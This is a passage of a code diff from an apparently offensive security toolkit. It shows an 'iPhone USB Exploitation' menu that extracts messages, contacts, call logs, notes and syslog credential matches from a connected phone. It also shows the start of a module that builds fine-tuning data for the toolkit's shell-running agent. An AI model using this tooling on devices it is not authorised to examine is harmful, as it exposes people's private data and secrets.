Path +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + + +class IPhoneLocal: + """Interactive menu for iPhone USB device access.""" + + def __init__(self): + from core.iphone_exploit import get_iphone_manager + self.mgr = get_iphone_manager() + self.udid = None + + def _select_device(self): + devices = self.mgr.list_devices() + if not devices: + print(" No iOS devices connected.") + return + if len(devices) == 1: + self.udid = devices[0]['udid'] + print(f" Selected: {devices[0].get('name','')} ({self.udid[:12]}...)") + return + print("\n Select device:") + for i, d in enumerate(devices, 1): + print(f" {i}) {d.get('name','')} - {d.get('model','')} iOS {d.get('ios_version','')} [{d['udid'][:12]}...]") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(devices): + self.udid = devices[choice - 1]['udid'] + except (ValueError, EOFError, KeyboardInterrupt): + pass + + def _ensure_device(self): + if not self.udid: + self._select_device() + return self.udid is not None + + def show_menu(self): + status = self.mgr.get_status() + print(f"\n{'='*60}") + print(" iPhone USB Exploitation") + print(f"{'='*60}") + print(f" Tools: {status['found']}/{status['total']} available") + print(f" Device: {self.udid[:16] + '...' if self.udid else '(none)'}") + print() + print(" ── Device ──") + print(" [1] List Devices") + print(" [2] Device Info") + print(" [3] Full Fingerprint") + print(" [4] Pair / Validate") + print(" [5] Get/Set Device Name") + print(" [6] Restart / Shutdown / Sleep") + print() + print(" ── Capture ──") + print(" [10] Screenshot") + print(" [11] Syslog Dump") + print(" [12] Syslog Grep (sensitive)") + print(" [13] Crash Reports") + print() + print(" ── Apps ──") + print(" [20] List Apps") + print(" [21] Install IPA") + print(" [22] Uninstall App") + print() + print(" ── Backup & Extraction ──") + print(" [30] Create Backup") + print(" [31] List Backups") + print(" [32] Extract SMS/iMessage") + print(" [33] Extract Contacts") + print(" [34] Extract Call Log") + print(" [35] Extract Notes") + print(" [36] Browse Backup Files") + print(" [37] Extract Backup File") + print() + print(" ── Filesystem & Profiles ──") + print(" [40] Mount Filesystem (ifuse)") + print(" [41] Mount App Documents") + print(" [42] Unmount") + print(" [43] List Profiles") + print(" [44] Install Profile") + print(" [45] Remove Profile") + print() + print(" ── Network ──") + print(" [50] Port Forward (iproxy)") + print(" [51] Export Recon Report") + print() + print(" [s] Select Device") + print(" [0] Back") + print() + + def _pick_backup(self): + backups = self.mgr.list_backups() + if not backups['backups']: + print(" No backups found. Create one first.") + return None + print("\n Available backups:") + for i, b in enumerate(backups['backups'], 1): + name = b.get('device_name', b['udid'][:12]) + size = b.get('size_mb', 0) + print(f" {i}) {name} - {b.get('ios_version','')} ({size:.0f} MB)") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(backups['backups']): + return backups['backups'][choice - 1]['path'] + except (ValueError, EOFError, KeyboardInterrupt): + pass + return None + + def run_interactive(self): + while True: + self.show_menu() + try: + choice = input(" Select > ").strip().lower() + except (EOFError, KeyboardInterrupt): + break + if choice == '0': + break + elif choice == 's': + self._select_device() + continue + + try: + self._dispatch(choice) + except (EOFError, KeyboardInterrupt): + continue + + def _dispatch(self, choice): + m = self.mgr + # Device + if choice == '1': + devices = m.list_devices() + if not devices: + print(" No iOS devices connected.") + else: + print(f"\n {'UDID':<42} {'Name':<20} {'Model':<15} iOS") + print(f" {'-'*85}") + for d in devices: + print(f" {d['udid']:<42} {d.get('name',''):<20} {d.get('model',''):<15} {d.get('ios_version','')}") + elif choice == '2': + if not self._ensure_device(): return + info = m.device_info(self.udid) + if 'error' in info: + print(f" Error: {info['error']}") + else: + for k, v in list(info.items())[:40]: + print(f" {k:<35} {v}") + if len(info) > 40: + print(f" ... and {len(info)-40} more fields") + elif choice == '3': + if not self._ensure_device(): return + fp = m.full_fingerprint(self.udid) + for k, v in list(fp.items())[:50]: + if isinstance(v, dict): + print(f" {k}:") + for sk, sv in list(v.items())[:10]: + print(f" {sk}: {sv}") + else: + print(f" {k:<35} {v}") + elif choice == '4': + if not self._ensure_device(): return + action = input(" [p]air / [v]alidate / [u]npair? ").strip().lower() + if action == 'p': + r = m.pair_device(self.udid) + elif action == 'u': + r = m.unpair_device(self.udid) + else: + r = m.validate_pair(self.udid) + print(f" {r.get('output', r)}") + elif choice == '5': + if not self._ensure_device(): return + r = m.get_name(self.udid) + print(f" Current name: {r['name']}") + new = input(" New name (Enter to keep): ").strip() + if new: + m.set_name(self.udid, new) + print(f" Name set to: {new}") + elif choice == '6': + if not self._ensure_device(): return + action = input(" [r]estart / [s]hutdown / s[l]eep? ").strip().lower() + if action == 'r': + r = m.restart_device(self.udid) + elif action == 's': + r = m.shutdown_device(self.udid) + elif action == 'l': + r = m.sleep_device(self.udid) + else: + print(" Invalid."); return + print(f" {r.get('output', 'Done')}") + # Capture + elif choice == '10': + if not self._ensure_device(): return + r = m.screenshot(self.udid) + if r['success']: + print(f" Screenshot: {r['path']} ({r['size']} bytes)") + else: + print(f" Error: {r['error']}") + elif choice == '11': + if not self._ensure_device(): return + dur = input(" Duration [5]: ").strip() + r = m.syslog_dump(self.udid, duration=int(dur) if dur else 5) + if r['success']: + print(f" Syslog: {r['path']} ({r['lines']} lines)") + else: + print(f" Error: {r['error']}") + elif choice == '12': + if not self._ensure_device(): return + pattern = input(" Grep pattern [password|token|key]: ").strip() or 'password|token|key|secret' + dur = input(" Duration [5]: ").strip() + r = m.syslog_grep(self.udid, pattern, duration=int(dur) if dur else 5) + print(f" {r['count']} matches:") + for line in r.get('matches', [])[:20]: + print(f" {line[:120]}") + elif choice == '13': + if not self._ensure_device(): return + r = m.crash_reports(self.udid) + if r['success']: + print(f" {r['count']} crash reports in {r['output_dir']}") + else: + print(f" Error: {r['error']}") + # Apps + elif choice == '20': + if not self._ensure_device(): return + t = input(" Type [user/system/all]: ").strip() or 'user' + r = m.list_apps(self.udid, app_type=t) + if r['success']: + print(f" {r['count']} apps:") + for a in r['apps']: + print(f" {a.get('bundle_id',''):<40} {a.get('name','')}") + else: + print(f" Error: {r['error']}") + elif choice == '21': + if not self._ensure_device(): return + path = input(" IPA path: ").strip() + if path: + r = m.install_app(self.udid, path) + print(f" {r.get('output', 'Done')}") + elif choice == '22': + if not self._ensure_device(): return + bid = input(" Bundle ID to remove: ").strip() + if bid: + r = m.uninstall_app(self.udid, bid) + print(f" {r.get('output', 'Done')}") + # Backup + elif choice == '30': + if not self._ensure_device(): return + enc = input(" Encrypted backup? [y/N]: ").strip().lower() == 'y' + pwd = '' + if enc: + pwd = input(" Backup password: ").strip() + print(" Creating backup (this may take several minutes)...") + r = m.create_backup(self.udid, encrypted=enc, password=pwd) + if r['success']: + print(f" Backup saved: {r['backup_path']}") + else: + print(f" Error: {r.get('output', 'Failed')}") + elif choice == '31': + r = m.list_backups() + print(f" {r['count']} backups:") + for b in r['backups']: + name = b.get('device_name', b['udid'][:12]) + print(f" {name} - iOS {b.get('ios_version','')} - {b.get('size_mb',0):.0f}MB - {b.get('date','')}") + elif choice == '32': + bp = self._pick_backup() + if bp: + r = m.extract_backup_sms(bp) + if r['success']: + print(f" {r['count']} messages:") + for msg in r['messages'][:20]: + d = 'ME' if msg['is_from_me'] else msg['handle'] + print(f" [{msg['date']}] {d}: {msg['text'][:60]}") + else: + print(f" Error: {r['error']}") + elif choice == '33': + bp = self._pick_backup() + if bp: + r = m.extract_backup_contacts(bp) + if r['success']: + print(f" {r['count']} contacts:") + for c in r['contacts'][:30]: + print(f" {c['first']} {c['last']} {c.get('organization','')} - {', '.join(c['values'][:3])}") + else: + print(f" Error: {r['error']}") + elif choice == '34': + bp = self._pick_backup() + if bp: + r = m.extract_backup_call_log(bp) + if r['success']: + print(f" {r['count']} calls:") + for c in r['calls'][:20]: + print(f" [{c['date']}] {c['type']:<10} {c['address']} ({c['duration']}s)") + else: + print(f" Error: {r['error']}") + elif choice == '35': + bp = self._pick_backup() + if bp: + r = m.extract_backup_notes(bp) + if r['success']: + print(f" {r['count']} notes:") + for n in r['notes'][:15]: + print(f" [{n['date']}] {n['title']}") + if n['body']: + print(f" {n['body'][:80]}") + else: + print(f" Error: {r['error']}") + elif choice == '36': + bp = self._pick_backup() + if bp: + domain = input(" Domain filter (or Enter): ").strip() + path_f = input(" Path filter (or Enter): ").strip() + r = m.list_backup_files(bp, domain=domain, path_filter=path_f) + if r['success']: + print(f" {r['count']} files:") + for f in r['files'][:30]: + print(f" [{f['domain']}] {f['path']}") + else: + print(f" Error: {r['error']}") + elif choice == '37': + bp = self._pick_backup() + if bp: + fhash = input(" File hash: ").strip() + name = input(" Output filename (or Enter): ").strip() or None + if fhash: + r = m.extract_backup_file(bp, fhash, output_name=name) + if r['success']: + print(f" Extracted: {r['path']} ({r['size']} bytes)") + else: + print(f" Error: {r['error']}") + # Filesystem + elif choice == '40': + if not self._ensure_device(): return + r = m.mount_filesystem(self.udid) + if r['success']: + print(f" Mounted at: {r['mountpoint']}") + else: + print(f" Error: {r.get('error', r.get('output'))}") + elif choice == '41': + if not self._ensure_device(): return + bid = input(" Bundle ID: ").strip() + if bid: + r = m.mount_app_documents(self.udid, bid) + if r['success']: + print(f" Mounted at: {r['mountpoint']}") + else: + print(f" Error: {r.get('error', r.get('output'))}") + elif choice == '42': + mp = input(" Mountpoint to unmount: ").strip() + if mp: + m.unmount_filesystem(mp) + print(" Unmounted.") + elif choice == '43': + if not self._ensure_device(): return + r = m.list_profiles(self.udid) + if r['success']: + print(f" {r['count']} profiles:") + for p in r['profiles']: + print(f" {p.get('id','')} - {p.get('name','')}") + else: + print(f" Error: {r['error']}") + elif choice == '44': + if not self._ensure_device(): return + path = input(" Profile path (.mobileprovision/.mobileconfig): ").strip() + if path: + r = m.install_profile(self.udid, path) + print(f" {r.get('output', 'Done')}") + elif choice == '45': + if not self._ensure_device(): return + pid = input(" Profile ID to remove: ").strip() + if pid: + r = m.remove_profile(self.udid, pid) + print(f" {r.get('output', 'Done')}") + # Network + elif choice == '50': + if not self._ensure_device(): return + lp = input(" Local port: ").strip() + dp = input(" Device port: ").strip() + if lp and dp: + r = m.port_forward(self.udid, int(lp), int(dp)) + if r['success']: + print(f" Forwarding localhost:{lp} -> device:{dp} (PID: {r['pid']})") + else: + print(f" Error: {r['error']}") + elif choice == '51': + if not self._ensure_device(): return + r = m.export_recon_report(self.udid) + if r['success']: + print(f" Report: {r['report_path']}") + else: + print(" Invalid choice.") + + +def run(): + m = IPhoneLocal() + m.run_interactive() diff --git a/modules/llm_trainer.py b/modules/llm_trainer.py new file mode 100644 index 0000000..8dc1abe --- /dev/null +++ b/modules/llm_trainer.py @@ -0,0 +1,1447 @@ +""" +AUTARCH LLM Trainer Module +Fine-tune language models on the AUTARCH codebase and convert to GGUF. + +Generates training datasets from source code, trains LoRA adapters, +merges weights, and quantizes to GGUF format for local inference. +""" + +import os +import sys +import subprocess +import json +import re +import ast +import time +import platform +import shutil +from pathlib import Path +from datetime import datetime + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +# Module metadata +DESCRIPTION = "LLM fine-tuning & GGUF training pipeline" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +_is_win = platform.system() == 'Windows' +_PROJECT_ROOT = Path(__file__).parent.parent +_DATA_DIR = _PROJECT_ROOT / 'data' +_MODELS_DIR = _PROJECT_ROOT / 'models' +_TRAINING_DIR = _DATA_DIR / 'training' + + +class LLMTrainer: + """Fine-tuning pipeline: dataset generation, LoRA training, GGUF conversion.""" + + def __init__(self): + self._training_dir = _TRAINING_DIR + self._training_dir.mkdir(parents=True, exist_ok=True) + self._models_dir = _MODELS_DIR + self._project_root = _PROJECT_ROOT + self._status = { + 'phase': 'idle', + 'progress': 0, + 'message': '', + 'log': [], + } + self._training_process = None + + def _log(self, msg, level='info'): + entry = {'time': datetime.now().strftime('%H:%M:%S'), 'msg': msg, 'level': level} + self._status['log'].append(entry) + # Keep last 200 entries + if len(self._status['log']) > 200: + self._status['log'] = self._status['log'][-200:] + + def get_status(self): + return dict(self._status) + + # ==================== DEPENDENCY CHECK ==================== + + def check_dependencies(self): + """Check what training dependencies are installed.""" + deps = {} + checks = { + 'torch': 'import torch; print(torch.__version__)', + 'transformers': 'import transformers; print(transformers.__version__)', + 'peft': 'import peft; print(peft.__version__)', + 'datasets': 'import datasets; print(datasets.__version__)', + 'unsloth': 'import unsloth; print(unsloth.__version__)', + 'bitsandbytes': 'import bitsandbytes; print(bitsandbytes.__version__)', + 'trl': 'import trl; print(trl.__version__)', + 'accelerate': 'import accelerate; print(accelerate.__version__)', + } + for name, cmd in checks.items(): + try: + result = subprocess.run( + [sys.executable, '-c', cmd], + capture_output=True, text=True, timeout=15 + ) + if result.returncode == 0: + deps[name] = {'installed': True, 'version': result.stdout.strip()} + else: + deps[name] = {'installed': False, 'version': None} + except Exception: + deps[name] = {'installed': False, 'version': None} + + # Check for llama.cpp convert script + llama_cpp_paths = [ + _PROJECT_ROOT / 'tools' / 'llama.cpp', + Path.home() / 'llama.cpp', + Path('/usr/local/bin/llama-quantize'), + ] + deps['llama_cpp'] = {'installed': False, 'path': None} + for p in llama_cpp_paths: + if p.exists(): + deps['llama_cpp'] = {'installed': True, 'path': str(p)} + break + + # Check GPU + try: + result = subprocess.run( + [sys.executable, '-c', + 'import torch; print(torch.cuda.is_available()); print(torch.cuda.get_device_name(0) if torch.cuda.is_available() else "none")'], + capture_output=True, text=True, timeout=15 + ) + if result.returncode == 0: + lines = result.stdout.strip().split('\n') + deps['cuda'] = { + 'available': lines[0].strip() == 'True', + 'device': lines[1].strip() if len(lines) > 1 else 'none', + } + else: + deps['cuda'] = {'available': False, 'device': 'none'} + except Exception: + deps['cuda'] = {'available': False, 'device': 'none'} + + # Check Intel XPU + try: + result = subprocess.run( + [sys.executable, '-c', + 'import torch; import intel_extension_for_pytorch; print(torch.xpu.is_available())'], + capture_output=True, text=True, timeout=15 + ) + deps['xpu'] = {'available': result.returncode == 0 and 'True' in result.stdout} + except Exception: + deps['xpu'] = {'available': False} + + return deps + + def install_dependencies(self): + """Install training dependencies via pip.""" + self._status['phase'] = 'installing' + self._status['progress'] = 0 + self._log('Installing training dependencies...') + + packages = [ + 'torch', 'transformers', 'peft', 'datasets', + 'trl', 'accelerate', 'bitsandbytes', + ] + results = [] + for i, pkg in enumerate(packages): + self._status['progress'] = int((i / len(packages)) * 100) + self._status['message'] = f'Installing {pkg}...' + self._log(f'pip install {pkg}') + try: + result = subprocess.run( + [sys.executable, '-m', 'pip', 'install', pkg, '--quiet'], + capture_output=True, text=True, timeout=300 + ) + results.append({ + 'package': pkg, + 'success': result.returncode == 0, + 'output': result.stdout.strip() or result.stderr.strip(), + }) + except Exception as e: + results.append({'package': pkg, 'success': False, 'output': str(e)}) + + self._status['phase'] = 'idle' + self._status['progress'] = 100 + self._status['message'] = 'Dependencies installed' + return results + + # ==================== CODEBASE SCANNING ==================== + + def scan_codebase(self): + """Scan the AUTARCH codebase and return file inventory.""" + inventory = { + 'modules': [], + 'core': [], + 'routes': [], + 'templates': [], + 'configs': [], + 'other': [], + } + + scan_dirs = { + 'modules': self._project_root / 'modules', + 'core': self._project_root / 'core', + 'routes': self._project_root / 'web' / 'routes', + 'templates': self._project_root / 'web' / 'templates', + } + + for category, scan_dir in scan_dirs.items(): + if not scan_dir.exists(): + continue + for f in sorted(scan_dir.glob('*.py' if category != 'templates' else '*.html')): + try: + size = f.stat().st_size + lines = f.read_text(encoding='utf-8', errors='replace').count('\n') + inventory[category].append({ + 'name': f.name, + 'path': str(f.relative_to(self._project_root)), + 'size': size, + 'lines': lines, + }) + except Exception: + pass + + # Config files + for pattern in ['*.conf', '*.json', '*.txt']: + for f in self._project_root.glob(pattern): + if f.name.startswith('.'): + continue + try: + inventory['configs'].append({ + 'name': f.name, + 'path': str(f.relative_to(self._project_root)), + 'size': f.stat().st_size, + 'lines': f.read_text(encoding='utf-8', errors='replace').count('\n'), + }) + except Exception: + pass + for f in (_DATA_DIR).glob('*.txt'): + try: + inventory['configs'].append({ + 'name': f'data/{f.name}', + 'path': str(f.relative_to(self._project_root)), + 'size': f.stat().st_size, + 'lines': f.read_text(encoding='utf-8', errors='replace').count('\n'), + }) + except Exception: + pass + + # Entry point + entry = self._project_root / 'autarch.py' + if entry.exists(): + inventory['other'].append({ + 'name': 'autarch.py', + 'path': 'autarch.py', + 'size': entry.stat().st_size, + 'lines': entry.read_text(encoding='utf-8', errors='replace').count('\n'), + }) + + # JS + js_dir = self._project_root / 'web' / 'static' / 'js' + if js_dir.exists(): + for f in js_dir.glob('*.js'): + try: + inventory['other'].append({ + 'name': f'static/js/{f.name}', + 'path': str(f.relative_to(self._project_root)), + 'size': f.stat().st_size, + 'lines': f.read_text(encoding='utf-8', errors='replace').count('\n'), + }) + except Exception: + pass + + total_files = sum(len(v) for v in inventory.values()) + total_lines = sum(item['lines'] for v in inventory.values() for item in v) + return { + 'inventory': inventory, + 'total_files': total_files, + 'total_lines': total_lines, + } + + # ==================== PYTHON MODULE EXTRACTION ==================== + + def _extract_module_info(self, filepath): + """Extract structured info from a Python module file.""" + try: + source = Path(filepath).read_text(encoding='utf-8', errors='replace') + except Exception: + return None + + info = { + 'file': str(Path(filepath).relative_to(self._project_root)), + 'source': source, + 'docstring': '', + 'classes': [], + 'functions': [], + 'metadata': {}, + } + + try: + tree = ast.parse(source) + except SyntaxError: + return info + + # Module docstring + if (tree.body and isinstance(tree.body[0], ast.Expr) + and isinstance(tree.body[0].value, (ast.Constant, ast.Str))): + info['docstring'] = getattr(tree.body[0].value, 'value', + getattr(tree.body[0].value, 's', '')) + + # Module-level assignments (DESCRIPTION, AUTHOR, etc.) + for node in ast.walk(tree): + if isinstance(node, ast.Assign): + for target in node.targets: + if isinstance(target, ast.Name) and isinstance(node.value, (ast.Constant, ast.Str)): + val = getattr(node.value, 'value', getattr(node.value, 's', '')) + if target.id in ('DESCRIPTION', 'AUTHOR', 'VERSION', 'CATEGORY', 'NAME'): + info['metadata'][target.id] = val + + # Classes and methods + for node in ast.iter_child_nodes(tree): + if isinstance(node, ast.ClassDef): + cls_info = { + 'name': node.name, + 'docstring': ast.get_docstring(node) or '', + 'methods': [], + } + for item in node.body: + if isinstance(item, (ast.FunctionDef, ast.AsyncFunctionDef)): + args = [a.arg for a in item.args.args if a.arg != 'self'] + cls_info['methods'].append({ + 'name': item.name, + 'args': args, + 'docstring': ast.get_docstring(item) or '', + 'lineno': item.lineno, + }) + info['classes'].append(cls_info) + + elif isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)): + args = [a.arg for a in node.args.args if a.arg != 'self'] + info['functions'].append({ + 'name': node.name, + 'args': args, + 'docstring': ast.get_docstring(node) or '', + 'lineno': node.lineno, + }) + + return info + + # ==================== DATASET GENERATION ==================== + + def generate_dataset(self, format='sharegpt', include_source=True, + include_qa=True, include_module_creation=True): + """Generate training dataset from the AUTARCH codebase. + + Args: + format: 'sharegpt' (conversations) or 'instruction' (alpaca-style) + include_source: Include code understanding pairs + include_qa: Include Q&A about architecture + include_module_creation: Include module creation examples + + Returns: + Dict with dataset path, sample count, preview + """ + self._status['phase'] = 'generating' + self._status['progress'] = 0 + self._status['message'] = 'Scanning codebase...' + self._log('Starting dataset generation...') + + samples = [] + scan = self.scan_codebase() + all_files = [] + for category, files in scan['inventory'].items(): + for f in files: + all_files.append((category, f)) + + total = len(all_files) + + # ── Phase 1: Code understanding pairs ── + if include_source: + self._log(f'Generating code understanding pairs from {total} files...') + for i, (category, finfo) in enumerate(all_files): + self._status['progress'] = int((i / total) * 30) + filepath = self._project_root / finfo['path'] + if not filepath.exists(): + continue + + if filepath.suffix == '.py': + mod_info = self._extract_module_info(filepath) + if not mod_info: + continue + + # "What does this file do?" pair + desc = mod_info.get('docstring') or mod_info['metadata'].get('DESCRIPTION', '') + if desc: + samples.append(self._make_sample( + f"What does the file `{finfo['path']}` do in AUTARCH?", + f"`{finfo['path']}` — {desc}\n\n" + f"Category: {mod_info['metadata'].get('CATEGORY', 'core')}\n" + f"It contains {len(mod_info['classes'])} class(es) and " + f"{len(mod_info['functions'])} top-level function(s).", + format + )) + + # Class/method documentation + for cls in mod_info['classes']: + if cls['methods']: + method_list = ', '.join(m['name'] for m in cls['methods'] + if not m['name'].startswith('_')) + samples.append(self._make_sample( + f"What methods does the `{cls['name']}` class in " + f"`{finfo['path']}` provide?", + f"The `{cls['name']}` class provides these methods: " + f"{method_list}\n\n" + + (f"Class description: {cls['docstring']}" if cls['docstring'] else ''), + format + )) + + # Individual method docs + for method in cls['methods']: + if method['docstring'] and not method['name'].startswith('_'): + samples.append(self._make_sample( + f"What does `{cls['name']}.{method['name']}()` do?", + f"`{method['name']}({', '.join(method['args'])})` — " + f"{method['docstring']}", + format + )) + + elif filepath.suffix == '.html': + try: + content = filepath.read_text(encoding='utf-8', errors='replace') + # Extract template purpose from title block + title_match = re.search(r'{%\s*block\s+title\s*%}(.+?){%', content) + if title_match: + samples.append(self._make_sample( + f"What is the `{finfo['path']}` template for?", + f"The template `{finfo['path']}` renders the " + f"'{title_match.group(1).strip()}' page in the AUTARCH web dashboard.", + format + )) + except Exception: + pass + + # ── Phase 2: Architecture Q&A ── + if include_qa: + self._status['progress'] = 30 + self._status['message'] = 'Generating architecture Q&A...' + self._log('Generating architecture Q&A pairs...') + samples.extend(self._generate_architecture_qa(format, scan)) + + # ── Phase 3: Module creation examples ── + if include_module_creation: + self._status['progress'] = 60 + self._status['message'] = 'Generating module creation examples...' + self._log('Generating module creation training data...') + samples.extend(self._generate_module_creation_samples(format)) + + # ── Phase 4: System prompt and identity ── + self._status['progress'] = 80 + self._status['message'] = 'Adding identity and system context...' + samples.extend(self._generate_identity_samples(format)) + + # ── Save dataset ── + self._status['progress'] = 90 + self._status['message'] = 'Saving dataset...' + + timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') + dataset_path = self._training_dir / f'autarch_dataset_{timestamp}.jsonl' + + with open(dataset_path, 'w', encoding='utf-8') as f: + for sample in samples: + f.write(json.dumps(sample, ensure_ascii=False) + '\n') + + self._status['phase'] = 'idle' + self._status['progress'] = 100 + self._status['message'] = f'Dataset generated: {len(samples)} samples' + self._log(f'Dataset saved to {dataset_path} ({len(samples)} samples)') + + return { + 'path': str(dataset_path), + 'filename': dataset_path.name, + 'sample_count': len(samples), + 'format': format, + 'preview': samples[:5], + 'size_bytes': dataset_path.stat().st_size, + } + + def _make_sample(self, instruction, response, format='sharegpt'): + """Create a training sample in the specified format.""" + if format == 'sharegpt': + return { + 'conversations': [ + {'from': 'human', 'value': instruction}, + {'from': 'gpt', 'value': response}, + ] + } + else: # alpaca/instruction format + return { + 'instruction': instruction, + 'input': '', + 'output': response, + } + + def _generate_architecture_qa(self, format, scan): + """Generate Q&A pairs about AUTARCH architecture.""" + pairs = [] + + # Project overview + pairs.append(self._make_sample( + "What is AUTARCH?", + "AUTARCH (Autonomous Tactical Agent for Reconnaissance, Counterintelligence, " + "and Hacking) is an autonomous security platform built by darkHal Security Group. " + "It provides a web-based dashboard with modular tools for defense, offense, " + "counter-intelligence, analysis, OSINT, and attack simulation. " + "It features an AI agent (Hal) that can create new modules on demand.", + format + )) + + # Directory structure + pairs.append(self._make_sample( + "What is the directory structure of AUTARCH?", + "AUTARCH has this structure:\n" + "- `modules/` — Plugin modules (Python), each is a standalone tool\n" + "- `core/` — Framework internals (llm.py, agent.py, tools.py, config.py, wireshark.py)\n" + "- `web/` — Flask web dashboard (routes/, templates/, static/)\n" + "- `data/` — Databases, configs, JSON files\n" + "- `models/` — LLM model files (GGUF)\n" + "- `autarch.py` — Main entry point\n" + "- `autarch_settings.conf` — Configuration file", + format + )) + + # Module categories + pairs.append(self._make_sample( + "What module categories does AUTARCH support?", + "AUTARCH supports 6 module categories:\n" + "1. **defense** (Blue) — Security hardening, monitoring, firewalls\n" + "2. **offense** (Red) — Penetration testing, exploitation\n" + "3. **counter** (Purple) — Counter-intelligence, threat response\n" + "4. **analyze** (Cyan) — Analysis, forensics, packet inspection\n" + "5. **osint** (Green) — Open source intelligence gathering\n" + "6. **simulate** (Yellow) — Attack simulation, red team exercises", + format + )) + + # Web architecture + pairs.append(self._make_sample( + "How does the AUTARCH web dashboard work?", + "The web dashboard is built with Flask and uses Jinja2 templates with vanilla " + "JavaScript. It runs on port 8181 with HTTPS. Routes are organized as Flask " + "Blueprints in `web/routes/`. The frontend uses SSE (Server-Sent Events) for " + "real-time streaming. The sidebar menu links to category pages (Defense, Offense, " + "Analyze, etc.) which load their respective modules and tools.", + format + )) + + # LLM integration + pairs.append(self._make_sample( + "How does the LLM system work in AUTARCH?", + "AUTARCH supports multiple LLM backends:\n" + "1. **Local GGUF** — llama-cpp-python loads .gguf models from the models/ directory\n" + "2. **HuggingFace Transformers** — loads full models with optional 4-bit quantization\n" + "3. **Claude API** — Anthropic's API for cloud inference\n" + "4. **HuggingFace API** — Inference API for cloud models\n\n" + "The `core/llm.py` module wraps all backends with a unified interface. " + "The AI agent (Hal) uses the local GGUF model with a tool-calling loop defined " + "in `core/agent.py`. It can execute shell commands, read/write files, search code, " + "and create new modules via the `create_module` tool in `core/tools.py`.", + format + )) + + # Config system + pairs.append(self._make_sample( + "How is AUTARCH configured?", + "AUTARCH uses `autarch_settings.conf` (INI format) with sections for: " + "[llama] (GGUF model settings), [autarch] (general), [msf] (Metasploit RPC), " + "[osint] (OSINT settings), [transformers] (HuggingFace models), [claude] (API key), " + "[web] (dashboard host/port/secret), [wireguard] (VPN), [upnp] (port forwarding), " + "and more. The `core/config.py` module reads and writes this file.", + format + )) + + # Module stats + mod_count = len(scan['inventory'].get('modules', [])) + core_count = len(scan['inventory'].get('core', [])) + pairs.append(self._make_sample( + "How many modules and core files does AUTARCH have?", + f"AUTARCH has {mod_count} plugin modules in `modules/` and {core_count} core " + f"framework files in `core/`. Total codebase is {scan['total_files']} files " + f"with {scan['total_lines']} lines of code.", + format + )) + + return pairs + + def _generate_module_creation_samples(self, format): + """Generate training data for teaching the LLM how to create modules.""" + pairs = [] + + # Module creation pattern + pairs.append(self._make_sample( + "How do I create a new AUTARCH module?", + "Every AUTARCH module in `modules/` must have these elements:\n\n" + "1. **Module-level metadata**: DESCRIPTION, AUTHOR, VERSION, CATEGORY\n" + "2. **A `run()` function** — Entry point for CLI mode\n" + "3. **Imports**: `from core.banner import Colors` for terminal colors\n\n" + "```python\n" + '"""\nModule description\n"""\n' + "import os\nimport sys\nimport subprocess\nfrom pathlib import Path\n\n" + "DESCRIPTION = \"What this module does\"\n" + "AUTHOR = \"darkHal\"\nVERSION = \"1.0\"\n" + "CATEGORY = \"defense\" # defense/offense/counter/analyze/osint/simulate\n\n" + "sys.path.insert(0, str(Path(__file__).parent.parent))\n" + "from core.banner import Colors\n\n\n" + "class MyModule:\n" + " def print_status(self, message, status=\"info\"):\n" + " colors = {\"info\": Colors.CYAN, \"success\": Colors.GREEN, " + "\"warning\": Colors.YELLOW, \"error\": Colors.RED}\n" + " symbols = {\"info\": \"*\", \"success\": \"+\", \"warning\": \"!\", \"error\": \"X\"}\n" + " print(f\"{colors.get(status, Colors.WHITE)}" + "[{symbols.get(status, '*')}] {message}{Colors.RESET}\")\n\n" + " def run_cmd(self, cmd, timeout=30):\n" + " try:\n" + " r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)\n" + " return r.returncode == 0, r.stdout.strip()\n" + " except Exception as e:\n" + " return False, str(e)\n\n\n" + "def run():\n" + " mod = MyModule()\n" + " # Interactive menu or direct execution\n" + "```", + format + )) + + # Scan existing modules for real examples + modules_dir = self._project_root / 'modules' + if modules_dir.exists(): + for mod_file in sorted(modules_dir.glob('*.py')): + if mod_file.name.startswith('__'): + continue + info = self._extract_module_info(mod_file) + if not info or not info['metadata'].get('DESCRIPTION'): + continue + + # "Create a module like X" example + desc = info['metadata'].get('DESCRIPTION', '') + cat = info['metadata'].get('CATEGORY', 'analyze') + source = info['source'] + + # Only use first 3000 chars to keep training samples reasonable + if len(source) > 3000: + source = source[:3000] + '\n# ... (truncated for training)\n' + + pairs.append(self._make_sample( + f"Create an AUTARCH module for: {desc}", + f"Here's a {cat} module that {desc.lower()}:\n\n```python\n{source}\n```", + format + )) + + # Specific module creation scenarios + scenarios = [ + ("Create a defense module that monitors port 5555 for incoming connections", + "port_monitor", "defense", + "Monitors a specific port for incoming TCP connections and alerts on new connections."), + ("Create an OSINT module that looks up domain WHOIS information", + "whois_lookup", "osint", + "Performs WHOIS lookups on domains to gather registration information."), + ("Create an analyze module that checks for open S3 buckets", + "s3_checker", "analyze", + "Checks if AWS S3 buckets are publicly accessible."), + ] + for prompt, name, cat, desc in scenarios: + pairs.append(self._make_sample( + prompt, + f"I'll create the `{name}.py` module in the `{cat}` category.\n\n" + f"```python\n" + f'"""\n{desc}\n"""\n' + f"import os\nimport sys\nimport subprocess\nimport socket\n" + f"from pathlib import Path\n\n" + f"DESCRIPTION = \"{desc}\"\n" + f"AUTHOR = \"darkHal\"\nVERSION = \"1.0\"\n" + f"CATEGORY = \"{cat}\"\n\n" + f"sys.path.insert(0, str(Path(__file__).parent.parent))\n" + f"from core.banner import Colors\n\n\n" + f"class {name.title().replace('_', '')}:\n" + f" def print_status(self, msg, status='info'):\n" + f" colors = {{'info': Colors.CYAN, 'success': Colors.GREEN, " + f"'warning': Colors.YELLOW, 'error': Colors.RED}}\n" + f" symbols = {{'info': '*', 'success': '+', 'warning': '!', 'error': 'X'}}\n" + f" print(f\"{{colors.get(status, Colors.WHITE)}}" + f"[{{symbols.get(status, '*')}}] {{msg}}{{Colors.RESET}}\")\n\n" + f" def run_cmd(self, cmd, timeout=30):\n" + f" try:\n" + f" r = subprocess.run(cmd, shell=True, capture_output=True, " + f"text=True, timeout=timeout)\n" + f" return r.returncode == 0, r.stdout.strip()\n" + f" except Exception as e:\n" + f" return False, str(e)\n\n\n" + 